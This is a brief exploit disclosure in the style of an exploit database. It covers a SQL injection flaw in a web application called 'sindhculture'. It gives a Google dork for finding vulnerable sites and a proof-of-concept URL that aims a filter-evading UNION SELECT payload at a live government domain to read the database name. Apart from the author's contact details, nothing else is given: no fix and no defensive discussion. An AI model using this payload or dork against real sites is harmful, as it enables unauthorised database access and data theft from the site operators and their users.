#Exploit Title: sindhculture - SQL Injection vulnerability #Date: 2024-07-05 #Exploit Author: Mahdi Karimi #Google Dork: "Powered by sindhculture" #Category:webapps #Tested On: Kali Linux, Firefox Proof of Concept: ### Demo : https://sindhculture.gov.pk/book.php?id=-183%27+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6,/*!50000database()*/,8,9--+ ********************************************************* #Discovered by: Mahdi Karimi #Email : mjoker22mjoker22@gmail.com *********************************************************